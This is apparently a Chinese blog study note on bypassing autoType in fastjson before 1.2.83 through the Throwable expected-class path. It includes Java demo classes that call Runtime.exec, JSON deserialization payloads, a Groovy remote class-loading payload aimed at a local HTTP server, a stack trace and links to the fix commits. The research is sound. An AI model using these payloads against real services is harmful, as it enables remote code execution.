Java fastjson < 1.2.83 期望类异常类Throwable

前言:Java fastjson < 1.2.83 期望类异常类Throwable绕过autoype进行利用的学习笔记

参考文章:https://moonsec.top/articles/112
参考文章:https://github.com/su18/hack-fastjson-1.2.80

引子

还是之前原来的java.lang.Throwable的利用poc,发现还是通过com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer来进行调用createException来进行利用

Test_1_2_80_Exception.java

public class Test_1_2_80_Exception {
public static void main(String[] args) {
String userJson = "{\"@type\":\"java.lang.Exception\", \"@type\":\"com.zpchcbd.fastjson.pojo.PingException\",\"domain\":\"calculator.app\"}";
Object object2 = JSON.parseObject(userJson);
}
}

PingException.java

public class PingException extends Exception {
private String domain;
public PingException() {
super();
}
public String getDomain() {
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("open -a " + domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}

< 1.2.83中的漏洞是基于Throwable入口点中寻找的,但是利用跟上面的引子触发点createException还是不一样

<1.2.83中漏洞 setter or public 参数被添加白名单导致绕过autotype

测试代码如下,参考y4er作者的文档pdf中的提供代码

MyClass.java

public class MyClass {
public void setName(String name) {
this.name = name;
}
public String name;
}

MyException.java

public class MyException extends Throwable {
private MyClass clazz;
public void setClazz(MyClass clazz) {
this.clazz = clazz;
}
}

Test_1_2_80_test.jaa

public class Test_1_2_80_test {
public static void main(String[] args) throws Exception {
String json2 = new String(Files.readAllBytes(Paths.get("fj.txt")));
try {
Object parse = JSON.parse(json2);
System.out.println(parse);
} catch (Exception e) {
e.printStackTrace();
}
}
}

fj.txt

{
"a":{
"@type":"java.lang.Exception",
"@type":"com.zpchcbd.fastjson.pojo.MyException",
"clazz":{},
"stackTrace":[]
},
"b":{
"@type":"com.zpchcbd.fastjson.pojo.MyClass","name":"abc"
}
}

Object parse = JSON.parse(json2);,这里首先解析的就是下面这一段,那么先解析a字段,然后递归一次parseObject,如下所示

解析@type,那么拿到的就是java.lang.Exception,接着就是执行相关的checkAutoType函数,java.lang.Exception就是在缓存字段mappings中,所以直接返回,如下所示

接着就是获取对应的反序列化器,默认是存在相关对于Throwable.class判断生成对应反序列化ThrowableDeserializer对象,所以走到如下所示

接着就是执行deserializer.deserialze(this, clazz, fieldName);,来配合词法分析器来进行反序列化ThrowableDeserializer中存储的相关信息包括构造函数,setter等方法

因为这里是期望类的原因,所以成功获取com.zpchcbd.fastjson.pojo.MyException的Class对象

然后获取clazz字段和stackTrace字段信息,再通过createException实例化MyException对象

接着会在Exception的的反序列化器中进行生成MyException的反序列化器,因为MyException同样符合要求所以走的也是ThrowableDeserializer对象,如下所示

此时的ThrowableDeserializer中存储了MyException相关要进行反序列化的字段信息,如下所示,其中就包含了我们要setter的MyClass类型的clazz属性

因为要setter,所以这里TypeUtils.cast方法会对MyException的ThrowableDeserializer遍历获取fieldDeserializer来进行setter操作

TypeUtils.cast方法会对每个字段的Class对象生成createJavaBeanDeserializer,从而对clazz对象进行反序列化(反序列化的是json数据中clazz字段对象),然后进行填充,最后将其填充到MyException中的clazz的字段(填充的是MyException对象中的clazz字段setter方法)中去

这里生成的时候会讲其对应的反序列化器一起put到this.deserializers中

接着第二次进行"b"字段中的checkAutoType函数的时候,此时就能够直接获取对应的反序列器中的Class对象,在这里的话也就是MyClass类对象

那么在之后的利用中,就可以对MyClass中的相关setter或者是getter方法进行利用从而进行命令执行的操作

这里把相关的name字段进行调用,然后MyClass类中的setName方法设置会Runtime执行操作

{
"a":{
"@type":"java.lang.Exception",
"@type":"com.zpchcbd.fastjson.pojo.MyException",
"clazz":{},
"stackTrace":[]
},
"b":{
"@type":"com.zpchcbd.fastjson.pojo.MyClass","name":"open -a calculator.app"
}
}

MyClass.java

public class MyClass {
public void setName(String name) throws IOException {
Runtime.getRuntime().exec(name);
this.name = name;
}
public String name;
}

可以发现能够进行命令执行

漏洞的利用

参考:https://github.com/su18/hack-fastjson-1.2.80

groovy远程类加载命令执行分析

groovy远程类加载命令执行漏洞利用

同样的流程,先将CompilationFailedException的unit(org.codehaus.groovy.control.ProcessingUnit)对应的反序列化器放入到反序列化器deserializers数组中去,等待第二次checkAutoType的时候进行获取

groovy1.txt

{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}

同样的流程,通过期望类绕过获取JavaStubCompilationUnit,然后进行实例化JavaStubCompilationUnit

fj_groovy2.txt

{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/"
}
}

Test_1_2_80_groovy.java

import com.alibaba.fastjson.JSON;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test_1_2_80_groovy {
public static void main(String[] args) throws Exception {
String json1 = new String(Files.readAllBytes(Paths.get("fj_groovy1.txt")));
try {
Object parse = JSON.parse(json1);
System.out.println(parse);
} catch (Exception e) {
e.printStackTrace();
}
String json2 = new String(Files.readAllBytes(Paths.get("fj_groovy2.txt")));
try {
Object parse = JSON.parse(json2);
System.out.println(parse);
} catch (Exception e) {
e.printStackTrace();
}
}
}

堆栈调用情况如下所示

doAddGlobalTransforms:238, ASTTransformationVisitor (org.codehaus.groovy.transform)
addGlobalTransforms:234, ASTTransformationVisitor (org.codehaus.groovy.transform)
addPhaseOperations:202, ASTTransformationVisitor (org.codehaus.groovy.transform)
addPhaseOperations:288, CompilationUnit (org.codehaus.groovy.control)
<init>:185, CompilationUnit (org.codehaus.groovy.control)
<init>:161, CompilationUnit (org.codehaus.groovy.control)
<init>:46, JavaStubCompilationUnit (org.codehaus.groovy.tools.javac)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
deserialze:1039, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:291, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:287, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:828, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:291, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:287, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:405, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:181, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
main:21, Test_1_2_80_groovy (com.zpchcbd.fastjson)

漏洞的修复

https://github.com/alibaba/fastjson/commit/560782c9ee12120304284ba98b61dc61e30324b3

加上了相关的黑名单包括aspect等等,以及在checkAutoType中deserializers操作和开启autoTypeSupport的时候都不允许Throwable.class的子类进行操作

https://github.com/alibaba/fastjson/commit/097bff1a792e39f4e0b2807faa53af0e89fbe5e0

posted @   zpchcbd  阅读(1019)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
历史上的今天:
2019-10-16 XML传输数据导致的安全问题
2019-10-16 XML的学习
点击右上角即可分享
微信分享提示